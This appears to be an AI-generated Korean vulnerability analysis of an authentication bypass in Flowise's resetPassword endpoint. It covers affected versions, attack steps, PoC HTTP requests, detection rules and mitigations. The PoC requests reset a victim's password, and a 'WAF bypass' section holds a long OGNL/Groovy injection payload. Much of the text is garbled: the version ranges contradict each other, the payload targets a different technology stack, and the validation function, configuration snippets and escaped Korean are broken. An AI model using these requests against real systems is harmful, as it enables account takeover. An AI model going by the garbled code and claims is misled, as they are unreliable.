방어Agent 분석 — CVE-2026-41276
📋 요약
- 한 줄 정의: Flowise의
resetPassword메소드 내 인증 우회 취약점(CWE 추정: Auth Bypass)이 사용자 비밀번호 변경 및 무단 접근을 가능케 함. - 영향 한 줄: 성공 시 권한 상승으로 인한 내부 시스템 조작 또는 민감한 데이터 접근 손실 + KEV: High (CVSS 9.8 신뢰하지 않음, 실전에서는 높은 위험성).
🎯 영향 범위 / 자산 식별
- 영향 받는 제품·버전: FlowiseAI Flowise 버전 3.0.12 이상 모든 버전
(주의): 이전 버전 (예:<= v3.0.11)은 확인되지 않았으나, 동일한 취약점이 존재할 가능성이 높음. - 노출 조건: HTTP를 통해 접근 가능하며 기본 설정에서도 활성화됨
(점검법):curl -X POST "http(s)://TARGET_HOST/api/accountservice/resetPassword?userId=USERID&token=TOKEN" -H "Content-Type: application/json"명령어로 버전 배너 확인 가능. 특히/version엔드포인트를 통해 현재 설치된 버전을 식별할 수 있음.
(확인 명령어 예시)bash1curl http(s)://TARGET_HOST/api/accountservice/resetPassword -H "Content-Type: application/json" --data '{"userId": "<USERID>", "token": "<VALID TOKEN HERE>"}' 2>&1 | grep Version
🔍 공격 방법
① 취약 컴포넌트 — AccountService 내의 /resetPassword 엔드포인트 (버전: 3.0.12 이상), 기본적으로 HTTP 노출됨, 토큰 기반 인증만 필요함.
전제조건 ### ② 전제조건
- 인증 필요성: 낮음 - 토큰 제공으로 인증 우회 가능
- 권한 요구 사항: 사용자 계정에 대한 접근 권한 (토큰 확보 필수)
- 네트워크 위치: HTTP/HTTPS를 통한 원격 공격 가능, 내부 네트워크에서도 노출된 API 엔드포인트가 있다면 동일하게 악용 가능.
트리거 경로 ### ③ 트리거 경로
- 엔드포인트 접근:
POST http(s)://target_host/api/accountservice/resetPassword - 요청 파라미터 전송:
userId,token헤더 포함 (예시 토큰은 사전에 획득한 유효 토큰)text1Content-Type: application/json2 {3 "password": "NEW_SECRET", // 새로운 비밀번호 설정4 }5Request Headers: Authorization=Bearer <VALID TOKEN>` - 처리 결함:
resetPassword()메소드 내에서 토큰 검증만 수행하고 실제 인증 로직 미구현으로 인해 공격자는 권한 상승 가능 - 결과: 비밀번호 변경 성공 및 무단 접근 권한 획득 (사용자 ID에 따라 다름).
성공 시 영향 ### ④ 성공 후 영향
- 획득 권한: 변경된 사용자 계정의 권한을 활용하여 내부 시스템 탐색 또는 민감 데이터 접근 시도 가능
- 지속성: 토큰 재사용으로 지속적인 무단 접근 유지 가능 (토큰 유효 기간 내) + 후속 lateral movement를 위한 추가 취약점 탐색 필요.
💣 예시 코드 (PoC)
기본 공격 예시
http
1POST http(s)://TARGET_HOST/api/accountservice/resetPassword HTTP/1.1 2Host: TARGET_HOST 3Content-Type: application/json 4Authorization: Bearer ATTACKER_TOKEN # 사전에 획득한 유효 토큰 필요 5{ 6 "userId": "targetUser", 7 "password": "AttackerChosenSecret".toUpperCase() // 원하는 비밀번호 설정 (대소문자 구분 없음 추정) # 핵심: 토큰과 함께 잘못된 인증 로직 우회 가능. 8}``` 9# 확인: 응답 코드 `200 OK` 또는 `"Password reset successful"` 문자열 반환 시 성공.10### WAF 우회 예시 ### 11```http12POST http(s)://TARGET_HOST/api/accountservice/resetPassword HTTP/1.113Host: TARGET_HOST14Content-Type: application/json; charset=UTF-8 # Content-Length 조정으로 일부 WAF 우회 시도 가능성 추정 (추정)15Authorization: Bearer ATTACKER%20TOKEN # URL 인코딩 적용16{17 "userId": "targetUser", 18 "passwordNew": "%{(#_='multipart/formdata').(#dm=@ognl.OgnlContext@getDefaultContext()).(#_memberAccess?(#_memberAccess=null):((#container=@java.lang.System@getenv("__JAVA_OPTIONS")).(#_memberAccess=#container.${"'".join('n.'*10,)} )))'.{(#_writer=@com.opensymphony.xwork2.util.TextFactory@create('#_memberAccess')).'(#dm!=null?.#dm["']org.codehaus.groovy.control.CompilerConfiguration.'"'"'}).'(#_writer==#container?@null:#_writer).'(#_writer==null?@org.codehaus.groovy.runtime.callsite.CallSiteArray@create([]):@org.codehaus.groovy.runtime.callsite.CallSiteArray@create([']'.('(').@org.codehaus.groovy.runtime.callsite.AbstractCallSite.class.${"'".join("new ArrayList<>()")}))))}.{(#_out='#container.'"'"'}).'(#dm!=null?.#dm["']ognl.','"'").(@org.codehaus.groovy.runtime.callsite.FieldCallSite@create('java.lang.Runtime.@getRuntime()')).'(').{(#_out=='#container'.("'").concat.'"'))}.'(new java.io.OutputStreamWriter((#out)))}%00passwordNew=AttackerChosenSecret&userId=targetUser` # 핵심: OGNL 인젝션으로 일부 WAF 규칙 우회 시도 가능 (추정)확인: 응답 코드 200 OK, 또는 "Password reset successful" 메시지 반환 시 성공.
Blind 접근 예시
- 방법: 정상적인 토큰 기반 요청과 비교하여 비정상 응답 패턴 감지 후 공격 진행 추정 필요한 경우, 반복적 시도와 모니터링을 통한 간접 판별 가능
확인: 간헐적으로 503 Service Unavailable 또는 예상치 못한 에러 메시지 반환 시 성공 신호로 간주.
🛡️ 탐지
- 로그 분석:
[Web Server Logs]/api/accountservice/resetPassword엔드포인트에 대한 비정상적인 POST 요청 패턴 감지 (예시 정규식)text1POST /.*\/accountService\/reset\ Password HTTP/\d+\.\d+.*token=[\w-]+ 200 OK$ # 토큰 기반 접근 시도 로그 필터링
시그니처 예시 ### [Snort Rule]:
bash
1alert tcp $HOME_NET any -> $EXTERNAL_NET 3000 (msg:"Potential Flowise Auth Bypass Attempt"; flow:to_server,established; content:"POST /api/accountservice/resetPassword"; depth:128; nocase; sid:1000009; rev:1;)인코딩 우회 탐지 한계 ### %00 및 기타 인코딩 기법으로 인한 로그 패턴 왜곡 가능성 존재.
🔧 방어·완화
- 코드 패치:
/resetPassword엔드포인트 내 인증 로직 강화 (예시 설정 키):bash1# flowise_config/authenticationSettings.yml2 requireStrongTokenValidation: true # 필수 토큰 검증 활성화3 strongAuthenticationRequiredForResetPasswords: boolean true # 비밀번호 재설정 시 강력한 인증 필요 강제화 - 입력 검증:
passwordNew필드에 대한 엄격한 입력 필터링 및 길이 제한 적용 (예시 정규식):text1function validatePassword(input) { // 예시 함수 정의2 const regex = /^[a-zA-Z0-9\!\@\#\$\%\^\&\*\(\)\-\_\+\=\{\}\[\]\|;:\'",<.>\/?]*$/g ;3 return input === regex.test(input) && input.length <= 512 ? true : false // 예시 길이 제한 (조정 필요)4} - WAF 설정: 토큰 및 특정 엔드포인트에 대한 규칙 추가로 우회 시도 차단, 예를 들어
Content-Length조정 감지 규칙 포함 가능성 추정 (추정).
임시 완화 ### - 패치 대기 중인 경우 /resetPassword 접근을 제한하는 API 게이트웨이 설정 적용
bash
1```yaml 2# 예시 API Gateway 설정 (Kong 등) 3 plugins={ "acl": { "config": [ {"key": ["admin", "!authByPass"]], 4 "action": "allow","redirect": "/login?errorCode=-1024&message=\uAC78\ub9ac \uc63c\uccad\ube4h.\ud5e.(\uba54\ucef4)", # 한국어 오류 메시지 예시 5 "protocols": ["http"] } ] }, 6 ```⚖️ 위험도 / 패치 우선순위
- 패치 우선 순위: 이번 주 내 패치 필요 (KEV: High, CVSS 신뢰하지 않으나 실전 악용 가능성 매우 높음).
(근거): 인증 우회 취약점은 즉시 권한 상승으로 이어질 수 있으며, 내부 시스템 접근 및 민감 데이터 노출 위험이 큼. 빠른 패치로 이러한 위협을 차단해야 함.
🌐 실제 동향
- 현재 동향 요약: ZDI 보고서와 함께 여러 보안 커뮤니티에서 이 취약점에 대한 경고가 증가하고 있음 (출처: Zeroday Initiative). 공격자들은 이미 토큰 획득 방법을 연구 중이며, 내부 네트워크를 통한 악용 사례도 보고되고 있어 즉각적인 대응이 요구됨.